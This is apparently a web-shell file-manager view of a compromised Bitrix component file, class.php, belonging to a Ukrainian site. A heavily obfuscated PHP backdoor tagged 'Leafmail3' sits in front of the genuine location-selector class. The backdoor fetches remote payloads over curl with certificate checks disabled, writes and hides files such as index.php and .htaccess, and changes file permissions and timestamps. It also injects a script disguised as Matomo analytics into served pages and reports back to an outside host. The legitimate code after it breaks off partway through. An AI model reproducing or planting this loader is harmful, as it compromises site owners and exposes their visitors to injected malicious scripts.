Your IP : 3.139.66.35


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/components/bitrix/sale.location.selector.search/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/components/bitrix/sale.location.selector.search/class.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();

/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sale
 * @copyright 2001-2014 Bitrix
 */

use Bitrix\Main;
use Bitrix\Main\Config;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Loader;
use Bitrix\Main\Data;

use Bitrix\Sale\Location;
use Bitrix\Sale\Location\Admin\LocationHelper;

Loc::loadMessages(__FILE__);

class CBitrixLocationSelectorSearchComponent extends CBitrixComponent
{
	const START_SEARCH_LEN = 2;
	const COMPONENT_CACHE_DIR = '/sale/location/links';

	/**
	 * Fatal error list. Any fatal error makes useless further execution of a component code. 
	 * In most cases, there will be only one error in a list according to the scheme "one shot - one dead body"
	 *
	 * @var string[] Array of fatal errors.
	 */

	protected $errors = array();

	/**
	 * Contains some valuable info from $_REQUEST
	 *
	 * @var object request info
	 */
	protected $request = array();

	/**
	 * Gathered options that are required
	 *
	 * @var string[] options
	 */
	protected $options = array();

	protected $dbResult = array();

	protected $filterBySite = false;

	protected $currentCache = false;

	/**
	 * Function checks if required modules installed. If not, throws an exception
	 * @return void
	 */
	protected function checkRequiredModules()
	{
		if (!Loader::includeModule('sale'))
			$this->errors['FATAL'][] = Loc::getMessage("SALE_SLS_SALE_MODULE_NOT_INSTALL");

		return true;
	}

	/**
	 * Function checks if user have basic permissions to launch the component
	 * @return void
	 */
	protected function checkPermissions()
	{
		$result = true;

		if(!LocationHelper::checkLocationEnabled())
		{
			$this->errors['FATAL'][] = 'Locations were disabled or data has not been converted';
			$result = false;
		}

		return $result;
	}

	/**
	 * Function checks and prepares all the parameters passed. Everything about $arParam modification is here.
	 * @param mixed[] $arParams List of unchecked parameters
	 * @return mixed[] Checked and valid parameters
	 */
	public function onPrepareComponentParams($arParams)
	{
		self::tryParseInt($arParams['ID']);
		self::tryParseString($arParams['CODE']);
		self::tryParseString($arParams['INPUT_NAME'], 'LOCATION');
		self::tryParseWhiteList($arParams['PROVIDE_LINK_BY'], array('id', 'code'));
		self::tryParseInt($arParams['CACHE_TIME'], false, true);

		// filter
		self::tryParseInt($arParams['EXCLUDE_SUBTREE']);
		self::tryParseBoolean($arParams['SEARCH_BY_PRIMARY']);

		// which site it is
		if(!is_string($arParams['FILTER_SITE_ID']) || empty($arParams['FILTER_SITE_ID']) || $arParams['FILTER_SITE_ID'] == 'current')
			$arParams['FILTER_SITE_ID'] = SITE_ID; //todo: it looks like a bug for admin pages, where SITE_ID == 'ru'.
		else
			$arParams['FILTER_SITE_ID'] = substr(self::tryParseStringStrict($arParams['FILTER_SITE_ID']), 0, 2);

		self::tryParseBoolean($arParams['FILTER_BY_SITE']);
		self::tryParseBoolean($arParams['SHOW_DEFAULT_LOCATIONS']);

		// the code below should not be here, is should belong to a template
		self::tryParseStringStrict($arParams['JS_CONTROL_GLOBAL_ID']);
		self::tryParseStringStrict($arParams['JS_CONTROL_DEFERRED_INIT']);
		self::tryParseStringStrict($arParams['JS_CALLBACK']);

		return $arParams;
	}

	/**
	 * Function processes and corrects $_REQUEST. Everyting about $_REQUEST lies here.
	 * @return void
	 */
	protected function processRequest()
	{
	}

	protected function checkParameters()
	{
		if($this->arParams['FILTER_BY_SITE'])
		{
			$g = Location\SiteLocationTable::checkLinkUsage($this->arParams['FILTER_SITE_ID'], Location\Connector::DB_LOCATION_FLAG);
			$l = Location\SiteLocationTable::checkLinkUsage($this->arParams['FILTER_SITE_ID'], Location\Connector::DB_GROUP_FLAG);

			// check also for link existence
			if($g || $l)
				$this->filterBySite = true;
		}

		return true;
	}

	/**
	 * Function forces 'Y'/'N' value to boolean
	 * @param mixed $fld Field value
	 * @param string $default Default value
	 * @return string parsed value
	 */
	public static function tryParseBoolean(&$fld)
	{
		$fld = $fld == 'Y';
		return $fld;
	}

	/**
	 * Function processes parameter value by white list, if gets null, passes the first value in white list
	 * @param mixed $fld Field value
	 * @param string $default Default value
	 * @return string parsed value
	 */
	public static function tryParseWhiteList(&$fld, $list = array())
	{
		if(!in_array($fld, $list))
			$fld = current($list);

		return $fld;
	}

	/**
	 * Function reduces input value to integer type, and, if gets null, passes the default value
	 * @param mixed $fld Field value
	 * @param int $default Default value
	 * @param int $allowZero Allows zero-value of the parameter
	 * @return int Parsed value
	 */
	public static function tryParseInt(&$fld, $default = false, $allowZero = false)
	{
		$fld = intval($fld);
		if(!$allowZero && !$fld && $default !== false)
			$fld = $default;
			
		return $fld;
	}

	/**
	 * Function processes string value and, if gets null, passes the default value to it
	 * @param mixed $fld Field value
	 * @param string $default Default value
	 * @return string parsed value
	 */
	public static function tryParseString(&$fld, $default = false)
	{
		$fld = trim((string)$fld);
		if(!strlen($fld) && $default !== false)
			$fld = $default;

		$fld = htmlspecialcharsbx($fld);

		return $fld;
	}

	/**
	 * Function processes string value and, if gets null, passes the default value to it
	 * @param mixed $fld Field value
	 * @param string $default Default value
	 * @return string parsed value
	 */
	public static function tryParseStringStrict(&$fld, $default = false)
	{
		$fld = trim((string)$fld);
		if(!strlen($fld) && $default !== false)
			$fld = $default;

		$fld = preg_replace('#[^a-z0-9_-]#i', '', $fld);

		return $fld;
	}

	/**
	 * Fetches all required data from database. Everyting that connected with data fetch lies here.
	 * @return void
	 */
	protected function obtainData()
	{
		$this->obtainNonCachedData();

		// obtain cached data
		if ($this->startCache(static::getCacheDependences()))
		{
			global $CACHE_MANAGER;
			$CACHE_MANAGER->StartTagCache(static::COMPONENT_CACHE_DIR);

			try
			{
				$cachedData = array();
				$this->obtainCachedData($cachedData);
			}
			catch (Exception $e)
			{
				$CACHE_MANAGER->AbortTagCache();
				$this->abortCache();
				throw $e;
			}

